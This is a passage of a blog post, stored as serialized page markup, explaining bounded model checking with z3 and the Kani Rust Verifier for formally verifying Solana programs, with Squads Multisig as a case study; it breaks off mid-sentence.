",{"type":20,"tag":35,"props":17227,"children":17230},{"href":17228,"rel":17229},"https://github.com/Squads-Protocol/squads-mpl",[39],[17231],{"type":26,"value":17232},"Squads Multisig Program",{"type":26,"value":17234}," as our main case study.",{"type":20,"tag":29,"props":17236,"children":17237},{},[17238,17240,17247,17249,17256],{"type":26,"value":17239},"We now have a (mostly) working prototype that can be used to formally verify critical properties of Solana programs in order to ensure a higher level of security. Our tool integrates with ",{"type":20,"tag":35,"props":17241,"children":17244},{"href":17242,"rel":17243},"https://www.anchor-lang.com/",[39],[17245],{"type":26,"value":17246},"anchor-lang",{"type":26,"value":17248}," and provides new APIs to specify invariants for your Solana code. It then autogenerates proof harnesses which are verified with the ",{"type":20,"tag":35,"props":17250,"children":17253},{"href":17251,"rel":17252},"https://github.com/model-checking/kani",[39],[17254],{"type":26,"value":17255},"Kani Rust Verifier",{"type":26,"value":17257},". Additionally, we are implementing a formal-verification-friendly runtime SDK layer that accelerates the expensive process of running formal verification tools on complex code.",{"type":20,"tag":29,"props":17259,"children":17260},{},[17261,17263,17268],{"type":26,"value":17262},"In this blog post, we're excited to share our progress and the challenges we've encountered during the process. We will describe the main concepts behind ",{"type":20,"tag":55,"props":17264,"children":17265},{},[17266],{"type":26,"value":17267},"bounded model checking",{"type":26,"value":17269}," (our formal verification method of choice) and explain how we've applied these concepts to Solana.",{"type":20,"tag":29,"props":17271,"children":17272},{},[17273],{"type":20,"tag":55,"props":17274,"children":17275},{},[17276,17278,17285,17287],{"type":26,"value":17277},"If you're interested in learning more or getting your own programs formally verified, let us know! We'd be excited to chat with you! — Fill out ",{"type":20,"tag":35,"props":17279,"children":17282},{"href":17280,"rel":17281},"https://osec.io/contact",[39],[17283],{"type":26,"value":17284},"this form",{"type":26,"value":17286}," or email us at ",{"type":20,"tag":35,"props":17288,"children":17290},{"href":17289},"mailto:contact@osec.io",[17291],{"type":26,"value":17292},"contact@osec.io",{"type":20,"tag":17197,"props":17294,"children":17295},{},[],{"type":20,"tag":17297,"props":17298,"children":17300},"h4",{"id":17299},"contents",[17301],{"type":26,"value":17302},"Contents:",{"type":20,"tag":68,"props":17304,"children":17305},{},[17306,17311,17328,17338,17343,17348],{"type":20,"tag":72,"props":17307,"children":17308},{},[17309],{"type":26,"value":17310},"Formal Verification with Bounded Model Checking\na. Overview\nb. A simple example\nc. Loop bounds & path explosion\nd. The Kani Rust Verifier",{"type":20,"tag":72,"props":17312,"children":17313},{},[17314,17319,17321,17326],{"type":20,"tag":3717,"props":17315,"children":17316},{},[17317],{"type":26,"value":17318},"Specification",{"type":26,"value":17320},": How can we describe what we ",{"type":20,"tag":55,"props":17322,"children":17323},{},[17324],{"type":26,"value":17325},"want",{"type":26,"value":17327}," our program to do?",{"type":20,"tag":72,"props":17329,"children":17330},{},[17331,17336],{"type":20,"tag":3717,"props":17332,"children":17333},{},[17334],{"type":26,"value":17335},"Verification",{"type":26,"value":17337},": How do we check that our model is correct?",{"type":20,"tag":72,"props":17339,"children":17340},{},[17341],{"type":26,"value":17342},"Case Study: Squads Multisig",{"type":20,"tag":72,"props":17344,"children":17345},{},[17346],{"type":26,"value":17347},"Additional challenges in Solana",{"type":20,"tag":72,"props":17349,"children":17350},{},[17351],{"type":26,"value":1214},{"type":20,"tag":21,"props":17353,"children":17355},{"id":17354},"formal-verification-with-bounded-model-checking",[17356],{"type":26,"value":17357},"Formal Verification with Bounded Model Checking",{"type":20,"tag":219,"props":17359,"children":17361},{"id":17360},"overview",[17362],{"type":26,"value":17363},"Overview",{"type":20,"tag":29,"props":17365,"children":17366},{},[17367],{"type":26,"value":17368},"Formal verification is the process of using a formal specification to verify the correctness of a system. In this case, the systems we are verifying are programs written in Rust that run on the Solana blockchain.",{"type":20,"tag":29,"props":17370,"children":17371},{},[17372,17374,17379],{"type":26,"value":17373},"There are many different flavors of formal verification, however in this research we are using ",{"type":20,"tag":3717,"props":17375,"children":17376},{},[17377],{"type":26,"value":17378},"bounded model checking (BMC)",{"type":26,"value":61},{"type":20,"tag":29,"props":17381,"children":17382},{},[17383,17385,17390,17392,17397,17399,17403,17405,17411,17413,17419],{"type":26,"value":17384},"In short, the idea of BMC is to execute our program ",{"type":20,"tag":55,"props":17386,"children":17387},{},[17388],{"type":26,"value":17389},"symbolically",{"type":26,"value":17391}," rather than ",{"type":20,"tag":55,"props":17393,"children":17394},{},[17395],{"type":26,"value":17396},"concretely",{"type":26,"value":17398},". Instead of actually performing an ",{"type":20,"tag":55,"props":17400,"children":17401},{},[17402],{"type":26,"value":8037},{"type":26,"value":17404}," when we see the line ",{"type":20,"tag":119,"props":17406,"children":17408},{"className":17407},[],[17409],{"type":26,"value":17410},"int x = a + b",{"type":26,"value":17412},", we store the symbolic expression ",{"type":20,"tag":119,"props":17414,"children":17416},{"className":17415},[],[17417],{"type":26,"value":17418},"x == a + b",{"type":26,"value":17420},". We do this for every line and once we reach the end of the program we have compiled a huge list of symbolic expressions. At this point, we can feed these expressions to a SMT solver along with a correctness property P in order to check if our program satisfies this property.",{"type":20,"tag":29,"props":17422,"children":17423},{},[17424],{"type":26,"value":17425},"If we hit a branch as we are tracing the program, we will take both sides of the branch adding the positive branch condition as a constraint to one side and the negative condition to the other side.",{"type":20,"tag":219,"props":17427,"children":17429},{"id":17428},"a-simple-example",[17430],{"type":26,"value":17431},"A simple example",{"type":20,"tag":29,"props":17433,"children":17434},{},[17435],{"type":26,"value":17436},"As an example, consider the following function:",{"type":20,"tag":305,"props":17438,"children":17440},{"code":17439,"language":1528,"meta":7,"className":14916,"style":7},"int foo(int x) {\n int y = x + 3;\n int z;\n if (y > 100) {\n z = y * 2;\n } else {\n z = y + 1;\n }\n\n // Property P:\n assert(z != 105);\n}\n",[17441],{"type":20,"tag":119,"props":17442,"children":17443},{"__ignoreMap":7},[17444,17474,17508,17520,17545,17573,17588,17615,17622,17629,17637,17663],{"type":20,"tag":315,"props":17445,"children":17446},{"class":317,"line":318},[17447,17452,17457,17461,17465,17470],{"type":20,"tag":315,"props":17448,"children":17449},{"style":541},[17450],{"type":26,"value":17451},"int",{"type":20,"tag":315,"props":17453,"children":17454},{"style":345},[17455],{"type":26,"value":17456}," foo",{"type":20,"tag":315,"props":17458,"children":17459},{"style":328},[17460],{"type":26,"value":1049},{"type":20,"tag":315,"props":17462,"children":17463},{"style":541},[17464],{"type":26,"value":17451},{"type":20,"tag":315,"props":17466,"children":17467},{"style":635},[17468],{"type":26,"value":17469}," x",{"type":20,"tag":315,"props":17471,"children":17472},{"style":328},[17473],{"type":26,"value":549},{"type":20,"tag":315,"props":17475,"children":17476},{"class":317,"line":356},[17477,17482,17486,17490,17495,17499,17504],{"type":20,"tag":315,"props":17478,"children":17479},{"style":541},[17480],{"type":26,"value":17481}," int",{"type":20,"tag":315,"props":17483,"children":17484},{"style":328},[17485],{"type":26,"value":2907},{"type":20,"tag":315,"props":17487,"children":17488},{"style":334},[17489],{"type":26,"value":337},{"type":20,"tag":315,"props":17491,"children":17492},{"style":328},[17493],{"type":26,"value":17494}," x ",{"type":20,"tag":315,"props":17496,"children":17497},{"style":334},[17498],{"type":26,"value":817},{"type":20,"tag":315,"props":17500,"children":17501},{"style":765},[17502],{"type":26,"value":17503}," 3",{"type":20,"tag":315,"props":17505,"children":17506},{"style":328},[17507],{"type":26,"value":1405},{"type":20,"tag":315,"props":17509,"children":17510},{"class":317,"line":365},[17511,17515],{"type":20,"tag":315,"props":17512,"children":17513},{"style":541},[17514],{"type":26,"value":17481},{"type":20,"tag":315,"props":17516,"children":17517},{"style":328},[17518],{"type":26,"value":17519}," z;\n",{"type":20,"tag":315,"props":17521,"children":17522},{"class":317,"line":374},[17523,17527,17532,17536,17541],{"type":20,"tag":315,"props":17524,"children":17525},{"style":525},[17526],{"type":26,"value":10680},{"type":20,"tag":315,"props":17528,"children":17529},{"style":328},[17530],{"type":26,"value":17531}," (y ",{"type":20,"tag":315,"props":17533,"children":17534},{"style":334},[17535],{"type":26,"value":8862},{"type":20,"tag":315,"props":17537,"children":17538},{"style":765},[17539],{"type":26,"value":17540}," 100",{"type":20,"tag":315,"props":17542,"children":17543},{"style":328},[17544],{"type":26,"value":549},{"type":20,"tag":315,"props":17546,"children":17547},{"class":317,"line":383},[17548,17553,17557,17561,17565,17569],{"type":20,"tag":315,"props":17549,"children":17550},{"style":328},[17551],{"type":26,"value":17552}," z ",{"type":20,"tag":315,"props":17554,"children":17555},{"style":334},[17556],{"type":26,"value":337},{"type":20,"tag":315,"props":17558,"children":17559},{"style":328},[17560],{"type":26,"value":2907},{"type":20,"tag":315,"props":17562,"children":17563},{"style":334},[17564],{"type":26,"value":901},{"type":20,"tag":315,"props":17566,"children":17567},{"style":765},[17568],{"type":26,"value":6330},{"type":20,"tag":315,"props":17570,"children":17571},{"style":328},[17572],{"type":26,"value":1405},{"type":20,"tag":315,"props":17574,"children":17575},{"class":317,"line":407},[17576,17580,17584],{"type":20,"tag":315,"props":17577,"children":17578},{"style":328},[17579],{"type":26,"value":14180},{"type":20,"tag":315,"props":17581,"children":17582},{"style":525},[17583],{"type":26,"value":1087},{"type":20,"tag":315,"props":17585,"children":17586},{"style":328},[17587],{"type":26,"value":1092},{"type":20,"tag":315,"props":17589,"children":17590},{"class":317,"line":421},[17591,17595,17599,17603,17607,17611],{"type":20,"tag":315,"props":17592,"children":17593},{"style":328},[17594],{"type":26,"value":17552},{"type":20,"tag":315,"props":17596,"children":17597},{"style":334},[17598],{"type":26,"value":337},{"type":20,"tag":315,"props":17600,"children":17601},{"style":328},[17602],{"type":26,"value":2907},{"type":20,"tag":315,"props":17604,"children":17605},{"style":334},[17606],{"type":26,"value":817},{"type":20,"tag":315,"props":17608,"children":17609},{"style":765},[17610],{"type":26,"value":2916},{"type":20,"tag":315,"props":17612,"children":17613},{"style":328},[17614],{"type":26,"value":1405},{"type":20,"tag":315,"props":17616,"children":17617},{"class":317,"line":430},[17618],{"type":20,"tag":315,"props":17619,"children":17620},{"style":328},[17621],{"type":26,"value":1736},{"type":20,"tag":315,"props":17623,"children":17624},{"class":317,"line":453},[17625],{"type":20,"tag":315,"props":17626,"children":17627},{"emptyLinePlaceholder":15},[17628],{"type":26,"value":427},{"type":20,"tag":315,"props":17630,"children":17631},{"class":317,"line":486},[17632],{"type":20,"tag":315,"props":17633,"children":17634},{"style":1071},[17635],{"type":26,"value":17636}," // Property P:\n",{"type":20,"tag":315,"props":17638,"children":17639},{"class":317,"line":499},[17640,17645,17650,17654,17659],{"type":20,"tag":315,"props":17641,"children":17642},{"style":345},[17643],{"type":26,"value":17644}," assert",{"type":20,"tag":315,"props":17646,"children":17647},{"style":328},[17648],{"type":26,"value":17649},"(z ",{"type":20,"tag":315,"props":17651,"children":17652},{"style":334},[17653],{"type":26,"value":14089},{"type":20,"tag":315,"props":17655,"children":17656},{"style":765},[17657],{"type":26,"value":17658}," 105",{"type":20,"tag":315,"props":17660,"children":17661},{"style":328},[17662],{"type":26,"value":2214},{"type":20,"tag":315,"props":17664,"children":17665},{"class":317,"line":513},[17666],{"type":20,"tag":315,"props":17667,"children":17668},{"style":328},[17669],{"type":26,"value":577},{"type":20,"tag":29,"props":17671,"children":17672},{},[17673,17675,17681,17683,17689],{"type":26,"value":17674},"This function takes an input ",{"type":20,"tag":119,"props":17676,"children":17678},{"className":17677},[],[17679],{"type":26,"value":17680},"x",{"type":26,"value":17682}," and does some computation. At the end of the program, the property we want to verify is that ",{"type":20,"tag":119,"props":17684,"children":17686},{"className":17685},[],[17687],{"type":26,"value":17688},"z != 105",{"type":26,"value":61},{"type":20,"tag":29,"props":17691,"children":17692},{},[17693],{"type":26,"value":17694},"With BMC, we could trace this program and derive the following constraints:",{"type":20,"tag":29,"props":17696,"children":17697},{},[17698],{"type":26,"value":17699},"Positive branch:",{"type":20,"tag":305,"props":17701,"children":17703},{"code":17702,"language":1528,"meta":7,"className":14916,"style":7},"y == x + 3\ny > 100\nz == y * 2\n",[17704],{"type":20,"tag":119,"props":17705,"children":17706},{"__ignoreMap":7},[17707,17732,17748],{"type":20,"tag":315,"props":17708,"children":17709},{"class":317,"line":318},[17710,17715,17719,17723,17727],{"type":20,"tag":315,"props":17711,"children":17712},{"style":328},[17713],{"type":26,"value":17714},"y ",{"type":20,"tag":315,"props":17716,"children":17717},{"style":334},[17718],{"type":26,"value":538},{"type":20,"tag":315,"props":17720,"children":17721},{"style":328},[17722],{"type":26,"value":17494},{"type":20,"tag":315,"props":17724,"children":17725},{"style":334},[17726],{"type":26,"value":817},{"type":20,"tag":315,"props":17728,"children":17729},{"style":765},[17730],{"type":26,"value":17731}," 3\n",{"type":20,"tag":315,"props":17733,"children":17734},{"class":317,"line":356},[17735,17739,17743],{"type":20,"tag":315,"props":17736,"children":17737},{"style":328},[17738],{"type":26,"value":17714},{"type":20,"tag":315,"props":17740,"children":17741},{"style":334},[17742],{"type":26,"value":8862},{"type":20,"tag":315,"props":17744,"children":17745},{"style":765},[17746],{"type":26,"value":17747}," 100\n",{"type":20,"tag":315,"props":17749,"children":17750},{"class":317,"line":365},[17751,17756,17760,17764,17768],{"type":20,"tag":315,"props":17752,"children":17753},{"style":328},[17754],{"type":26,"value":17755},"z ",{"type":20,"tag":315,"props":17757,"children":17758},{"style":334},[17759],{"type":26,"value":538},{"type":20,"tag":315,"props":17761,"children":17762},{"style":328},[17763],{"type":26,"value":2907},{"type":20,"tag":315,"props":17765,"children":17766},{"style":334},[17767],{"type":26,"value":901},{"type":20,"tag":315,"props":17769,"children":17770},{"style":765},[17771],{"type":26,"value":17772}," 2\n",{"type":20,"tag":29,"props":17774,"children":17775},{},[17776],{"type":26,"value":17777},"Negative branch:",{"type":20,"tag":305,"props":17779,"children":17781},{"code":17780,"language":1528,"meta":7,"className":14916,"style":7},"y == x + 3\ny \u003C= 100\nz == y + 1\n",[17782],{"type":20,"tag":119,"props":17783,"children":17784},{"__ignoreMap":7},[17785,17808,17824],{"type":20,"tag":315,"props":17786,"children":17787},{"class":317,"line":318},[17788,17792,17796,17800,17804],{"type":20,"tag":315,"props":17789,"children":17790},{"style":328},[17791],{"type":26,"value":17714},{"type":20,"tag":315,"props":17793,"children":17794},{"style":334},[17795],{"type":26,"value":538},{"type":20,"tag":315,"props":17797,"children":17798},{"style":328},[17799],{"type":26,"value":17494},{"type":20,"tag":315,"props":17801,"children":17802},{"style":334},[17803],{"type":26,"value":817},{"type":20,"tag":315,"props":17805,"children":17806},{"style":765},[17807],{"type":26,"value":17731},{"type":20,"tag":315,"props":17809,"children":17810},{"class":317,"line":356},[17811,17815,17820],{"type":20,"tag":315,"props":17812,"children":17813},{"style":328},[17814],{"type":26,"value":17714},{"type":20,"tag":315,"props":17816,"children":17817},{"style":334},[17818],{"type":26,"value":17819},"\u003C=",{"type":20,"tag":315,"props":17821,"children":17822},{"style":765},[17823],{"type":26,"value":17747},{"type":20,"tag":315,"props":17825,"children":17826},{"class":317,"line":365},[17827,17831,17835,17839,17843],{"type":20,"tag":315,"props":17828,"children":17829},{"style":328},[17830],{"type":26,"value":17755},{"type":20,"tag":315,"props":17832,"children":17833},{"style":334},[17834],{"type":26,"value":538},{"type":20,"tag":315,"props":17836,"children":17837},{"style":328},[17838],{"type":26,"value":2907},{"type":20,"tag":315,"props":17840,"children":17841},{"style":334},[17842],{"type":26,"value":817},{"type":20,"tag":315,"props":17844,"children":17845},{"style":765},[17846],{"type":26,"value":822},{"type":20,"tag":29,"props":17848,"children":17849},{},[17850,17852,17859],{"type":26,"value":17851},"Using the ",{"type":20,"tag":35,"props":17853,"children":17856},{"href":17854,"rel":17855},"https://github.com/Z3Prover/z3",[39],[17857],{"type":26,"value":17858},"z3",{"type":26,"value":17860}," SMT solver, we could check both of these cases like so:",{"type":20,"tag":305,"props":17862,"children":17866},{"code":17863,"language":17864,"meta":7,"className":17865,"style":7},"from z3 import *\n\nx = Int('x')\ny = Int('y')\nz = Int('z')\n\n# Positive branch:\ns = Solver()\ns.add(y == x + 3)\ns.add(y > 100)\ns.add(z == y * 2)\n\n# check if we can violate the correctness property\ns.add(Not(z != 105))\nprint(s.check()) # \"unsat\"\n\n# Negative branch:\ns = Solver()\ns.add(y == x + 3)\ns.add(y \u003C= 100)\ns.add(z == y + 1)\n\n# check if we can violate the correctness property\ns.add(Not(z != 105))\nprint(s.check()) # \"unsat\"\n","python","language-python shiki shiki-themes slack-dark",[17867],{"type":20,"tag":119,"props":17868,"children":17869},{"__ignoreMap":7},[17870,17893,17900,17926,17950,17974,17981,17989,18006,18034,18053,18081,18088,18096,18117,18135,18142,18150,18165,18192,18211,18238,18245,18252,18271],{"type":20,"tag":315,"props":17871,"children":17872},{"class":317,"line":318},[17873,17878,17883,17888],{"type":20,"tag":315,"props":17874,"children":17875},{"style":525},[17876],{"type":26,"value":17877},"from",{"type":20,"tag":315,"props":17879,"children":17880},{"style":328},[17881],{"type":26,"value":17882}," z3 ",{"type":20,"tag":315,"props":17884,"children":17885},{"style":525},[17886],{"type":26,"value":17887},"import",{"type":20,"tag":315,"props":17889,"children":17890},{"style":334},[17891],{"type":26,"value":17892}," *\n",{"type":20,"tag":315,"props":17894,"children":17895},{"class":317,"line":356},[17896],{"type":20,"tag":315,"props":17897,"children":17898},{"emptyLinePlaceholder":15},[17899],{"type":26,"value":427},{"type":20,"tag":315,"props":17901,"children":17902},{"class":317,"line":365},[17903,17908,17912,17917,17922],{"type":20,"tag":315,"props":17904,"children":17905},{"style":328},[17906],{"type":26,"value":17907},"x ",{"type":20,"tag":315,"props":17909,"children":17910},{"style":334},[17911],{"type":26,"value":337},{"type":20,"tag":315,"props":17913,"children":17914},{"style":328},[17915],{"type":26,"value":17916}," Int(",{"type":20,"tag":315,"props":17918,"children":17919},{"style":2652},[17920],{"type":26,"value":17921},"'x'",{"type":20,"tag":315,"props":17923,"children":17924},{"style":328},[17925],{"type":26,"value":380},{"type":20,"tag":315,"props":17927,"children":17928},{"class":317,"line":374},[17929,17933,17937,17941,17946],{"type":20,"tag":315,"props":17930,"children":17931},{"style":328},[17932],{"type":26,"value":17714},{"type":20,"tag":315,"props":17934,"children":17935},{"style":334},[17936],{"type":26,"value":337},{"type":20,"tag":315,"props":17938,"children":17939},{"style":328},[17940],{"type":26,"value":17916},{"type":20,"tag":315,"props":17942,"children":17943},{"style":2652},[17944],{"type":26,"value":17945},"'y'",{"type":20,"tag":315,"props":17947,"children":17948},{"style":328},[17949],{"type":26,"value":380},{"type":20,"tag":315,"props":17951,"children":17952},{"class":317,"line":383},[17953,17957,17961,17965,17970],{"type":20,"tag":315,"props":17954,"children":17955},{"style":328},[17956],{"type":26,"value":17755},{"type":20,"tag":315,"props":17958,"children":17959},{"style":334},[17960],{"type":26,"value":337},{"type":20,"tag":315,"props":17962,"children":17963},{"style":328},[17964],{"type":26,"value":17916},{"type":20,"tag":315,"props":17966,"children":17967},{"style":2652},[17968],{"type":26,"value":17969},"'z'",{"type":20,"tag":315,"props":17971,"children":17972},{"style":328},[17973],{"type":26,"value":380},{"type":20,"tag":315,"props":17975,"children":17976},{"class":317,"line":407},[17977],{"type":20,"tag":315,"props":17978,"children":17979},{"emptyLinePlaceholder":15},[17980],{"type":26,"value":427},{"type":20,"tag":315,"props":17982,"children":17983},{"class":317,"line":421},[17984],{"type":20,"tag":315,"props":17985,"children":17986},{"style":1071},[17987],{"type":26,"value":17988},"# Positive branch:\n",{"type":20,"tag":315,"props":17990,"children":17991},{"class":317,"line":430},[17992,17997,18001],{"type":20,"tag":315,"props":17993,"children":17994},{"style":328},[17995],{"type":26,"value":17996},"s ",{"type":20,"tag":315,"props":17998,"children":17999},{"style":334},[18000],{"type":26,"value":337},{"type":20,"tag":315,"props":18002,"children":18003},{"style":328},[18004],{"type":26,"value":18005}," Solver()\n",{"type":20,"tag":315,"props":18007,"children":18008},{"class":317,"line":453},[18009,18014,18018,18022,18026,18030],{"type":20,"tag":315,"props":18010,"children":18011},{"style":328},[18012],{"type":26,"value":18013},"s.add(y ",{"type":20,"tag":315,"props":18015,"children":18016},{"style":334},[18017],{"type":26,"value":538},{"type":20,"tag":315,"props":18019,"children":18020},{"style":328},[18021],{"type":26,"value":17494},{"type":20,"tag":315,"props":18023,"children":18024},{"style":334},[18025],{"type":26,"value":817},{"type":20,"tag":315,"props":18027,"children":18028},{"style":765},[18029],{"type":26,"value":17503},{"type":20,"tag":315,"props":18031,"children":18032},{"style":328},[18033],{"type":26,"value":380},{"type":20,"tag":315,"props":18035,"children":18036},{"class":317,"line":486},[18037,18041,18045,18049],{"type":20,"tag":315,"props":18038,"children":18039},{"style":328},[18040],{"type":26,"value":18013},{"type":20,"tag":315,"props":18042,"children":18043},{"style":334},[18044],{"type":26,"value":8862},{"type":20,"tag":315,"props":18046,"children":18047},{"style":765},[18048],{"type":26,"value":17540},{"type":20,"tag":315,"props":18050,"children":18051},{"style":328},[18052],{"type":26,"value":380},{"type":20,"tag":315,"props":18054,"children":18055},{"class":317,"line":499},[18056,18061,18065,18069,18073,18077],{"type":20,"tag":315,"props":18057,"children":18058},{"style":328},[18059],{"type":26,"value":18060},"s.add(z ",{"type":20,"tag":315,"props":18062,"children":18063},{"style":334},[18064],{"type":26,"value":538},{"type":20,"tag":315,"props":18066,"children":18067},{"style":328},[18068],{"type":26,"value":2907},{"type":20,"tag":315,"props":18070,"children":18071},{"style":334},[18072],{"type":26,"value":901},{"type":20,"tag":315,"props":18074,"children":18075},{"style":765},[18076],{"type":26,"value":6330},{"type":20,"tag":315,"props":18078,"children":18079},{"style":328},[18080],{"type":26,"value":380},{"type":20,"tag":315,"props":18082,"children":18083},{"class":317,"line":513},[18084],{"type":20,"tag":315,"props":18085,"children":18086},{"emptyLinePlaceholder":15},[18087],{"type":26,"value":427},{"type":20,"tag":315,"props":18089,"children":18090},{"class":317,"line":521},[18091],{"type":20,"tag":315,"props":18092,"children":18093},{"style":1071},[18094],{"type":26,"value":18095},"# check if we can violate the correctness property\n",{"type":20,"tag":315,"props":18097,"children":18098},{"class":317,"line":552},[18099,18104,18108,18112],{"type":20,"tag":315,"props":18100,"children":18101},{"style":328},[18102],{"type":26,"value":18103},"s.add(Not(z ",{"type":20,"tag":315,"props":18105,"children":18106},{"style":334},[18107],{"type":26,"value":14089},{"type":20,"tag":315,"props":18109,"children":18110},{"style":765},[18111],{"type":26,"value":17658},{"type":20,"tag":315,"props":18113,"children":18114},{"style":328},[18115],{"type":26,"value":18116},"))\n",{"type":20,"tag":315,"props":18118,"children":18119},{"class":317,"line":571},[18120,18125,18130],{"type":20,"tag":315,"props":18121,"children":18122},{"style":345},[18123],{"type":26,"value":18124},"print",{"type":20,"tag":315,"props":18126,"children":18127},{"style":328},[18128],{"type":26,"value":18129},"(s.check()) ",{"type":20,"tag":315,"props":18131,"children":18132},{"style":1071},[18133],{"type":26,"value":18134},"# \"unsat\"\n",{"type":20,"tag":315,"props":18136,"children":18137},{"class":317,"line":2031},[18138],{"type":20,"tag":315,"props":18139,"children":18140},{"emptyLinePlaceholder":15},[18141],{"type":26,"value":427},{"type":20,"tag":315,"props":18143,"children":18144},{"class":317,"line":2053},[18145],{"type":20,"tag":315,"props":18146,"children":18147},{"style":1071},[18148],{"type":26,"value":18149},"# Negative branch:\n",{"type":20,"tag":315,"props":18151,"children":18152},{"class":317,"line":2061},[18153,18157,18161],{"type":20,"tag":315,"props":18154,"children":18155},{"style":328},[18156],{"type":26,"value":17996},{"type":20,"tag":315,"props":18158,"children":18159},{"style":334},[18160],{"type":26,"value":337},{"type":20,"tag":315,"props":18162,"children":18163},{"style":328},[18164],{"type":26,"value":18005},{"type":20,"tag":315,"props":18166,"children":18167},{"class":317,"line":2070},[18168,18172,18176,18180,18184,18188],{"type":20,"tag":315,"props":18169,"children":18170},{"style":328},[18171],{"type":26,"value":18013},{"type":20,"tag":315,"props":18173,"children":18174},{"style":334},[18175],{"type":26,"value":538},{"type":20,"tag":315,"props":18177,"children":18178},{"style":328},[18179],{"type":26,"value":17494},{"type":20,"tag":315,"props":18181,"children":18182},{"style":334},[18183],{"type":26,"value":817},{"type":20,"tag":315,"props":18185,"children":18186},{"style":765},[18187],{"type":26,"value":17503},{"type":20,"tag":315,"props":18189,"children":18190},{"style":328},[18191],{"type":26,"value":380},{"type":20,"tag":315,"props":18193,"children":18194},{"class":317,"line":2139},[18195,18199,18203,18207],{"type":20,"tag":315,"props":18196,"children":18197},{"style":328},[18198],{"type":26,"value":18013},{"type":20,"tag":315,"props":18200,"children":18201},{"style":334},[18202],{"type":26,"value":17819},{"type":20,"tag":315,"props":18204,"children":18205},{"style":765},[18206],{"type":26,"value":17540},{"type":20,"tag":315,"props":18208,"children":18209},{"style":328},[18210],{"type":26,"value":380},{"type":20,"tag":315,"props":18212,"children":18213},{"class":317,"line":2147},[18214,18218,18222,18226,18230,18234],{"type":20,"tag":315,"props":18215,"children":18216},{"style":328},[18217],{"type":26,"value":18060},{"type":20,"tag":315,"props":18219,"children":18220},{"style":334},[18221],{"type":26,"value":538},{"type":20,"tag":315,"props":18223,"children":18224},{"style":328},[18225],{"type":26,"value":2907},{"type":20,"tag":315,"props":18227,"children":18228},{"style":334},[18229],{"type":26,"value":817},{"type":20,"tag":315,"props":18231,"children":18232},{"style":765},[18233],{"type":26,"value":2916},{"type":20,"tag":315,"props":18235,"children":18236},{"style":328},[18237],{"type":26,"value":380},{"type":20,"tag":315,"props":18239,"children":18240},{"class":317,"line":2177},[18241],{"type":20,"tag":315,"props":18242,"children":18243},{"emptyLinePlaceholder":15},[18244],{"type":26,"value":427},{"type":20,"tag":315,"props":18246,"children":18247},{"class":317,"line":2185},[18248],{"type":20,"tag":315,"props":18249,"children":18250},{"style":1071},[18251],{"type":26,"value":18095},{"type":20,"tag":315,"props":18253,"children":18254},{"class":317,"line":2217},[18255,18259,18263,18267],{"type":20,"tag":315,"props":18256,"children":18257},{"style":328},[18258],{"type":26,"value":18103},{"type":20,"tag":315,"props":18260,"children":18261},{"style":334},[18262],{"type":26,"value":14089},{"type":20,"tag":315,"props":18264,"children":18265},{"style":765},[18266],{"type":26,"value":17658},{"type":20,"tag":315,"props":18268,"children":18269},{"style":328},[18270],{"type":26,"value":18116},{"type":20,"tag":315,"props":18272,"children":18273},{"class":317,"line":2225},[18274,18278,18282],{"type":20,"tag":315,"props":18275,"children":18276},{"style":345},[18277],{"type":26,"value":18124},{"type":20,"tag":315,"props":18279,"children":18280},{"style":328},[18281],{"type":26,"value":18129},{"type":20,"tag":315,"props":18283,"children":18284},{"style":1071},[18285],{"type":26,"value":18134},{"type":20,"tag":29,"props":18287,"children":18288},{},[18289,18291,18297,18299,18304],{"type":26,"value":18290},"Both of these cases return ",{"type":20,"tag":119,"props":18292,"children":18294},{"className":18293},[],[18295],{"type":26,"value":18296},"unsat",{"type":26,"value":18298}," meaning z3 could not find a way to violate the correctness property, hence our program is ",{"type":20,"tag":55,"props":18300,"children":18301},{},[18302],{"type":26,"value":18303},"correct",{"type":26,"value":18305}," according to this property.",{"type":20,"tag":219,"props":18307,"children":18309},{"id":18308},"loop-bounds-path-explosion",[18310],{"type":26,"value":18311},"Loop bounds & path explosion",{"type":20,"tag":29,"props":18313,"children":18314},{},[18315,18317,18321,18323,18328],{"type":26,"value":18316},"As you may have noticed, BMC requires us to take ",{"type":20,"tag":55,"props":18318,"children":18319},{},[18320],{"type":26,"value":930},{"type":26,"value":18322}," branch in the program. To be sure that our property holds, we need to check every possible route through the program. If we have 10 branches in a row we might need to test 2^10 paths! And if our program has loops, we may need to check an ",{"type":20,"tag":55,"props":18324,"children":18325},{},[18326],{"type":26,"value":18327},"infinite",{"type":26,"value":18329}," number of paths because the loop branches backward. This might take a while...",{"type":20,"tag":29,"props":18331,"children":18332},{},[18333],{"type":26,"value":18334},"This is where the \"bounded\" part of \"bounded model checking\" applies. Rather than unroll an infinite number of loops, we can set a loop bound and also verify that it is not possible to loop more than the loop bound.",{"type":20,"tag":29,"props":18336,"children":18337},{},[18338],{"type":26,"value":18339},"While this technique of bounding loops makes the problem tractable. It is still expensive to run BMC on very large programs due to the problem of path explosion. As our program gets larger, the number of possible paths scales potentially exponentially.",{"type":20,"tag":29,"props":18341,"children":18342},{},[18343],{"type":26,"value":18344},"One of the main challenges we will discuss later is how to address this problem of path explosion in the context of Solana Rust programs.",{"type":20,"tag":219,"props":18346,"children":18348},{"id":18347},"kani-model-checker",[18349],{"type":26,"value":18350},"Kani Model Checker",{"type":20,"tag":29,"props":18352,"children":18353},{},[18354,18356,18361],{"type":26,"value":18355},"For our research with formally verifying Solana programs, we are using the ",{"type":20,"tag":35,"props":18357,"children":18359},{"href":17251,"rel":18358},[39],[18360],{"type":26,"value":17255},{"type":26,"value":18362},": an open-source, bit-precise model checker for Rust created at AWS. Under the hood, Kani uses the C Bounded Model Checker (CBMC) to do the heavy lifting.",{"type":20,"tag":29,"props":18364,"children":18365},{},[18366,18368,18373,18375,18381,18382,18388,18390,18396],{"type":26,"value":18367},"Kani allows you to write ",{"type":20,"tag":55,"props":18369,"children":18370},{},[18371],{"type":26,"value":18372},"proof harnesses",{"type":26,"value":18374}," which can invoke Rust functions with symbolic values. These harnesses can ",{"type":20,"tag":119,"props":18376,"children":18378},{"className":18377},[],[18379],{"type":26,"value":18380},"assume",{"type":26,"value":9392},{"type":20,"tag":119,"props":18383,"children":18385},{"className":18384},[],[18386],{"type":26,"value":18387},"assert",{"type":26,"value":18389}," certain conditions about these symbolic values and then you can verify that a proof harness holds via the ",{"type":20,"tag":119,"props":18391,"children":18393},{"className":18392},[],[18394],{"type":26,"value":18395},"cargo kani",{"type":26,"value":18397}," tool (which compiles your proof harness and runs 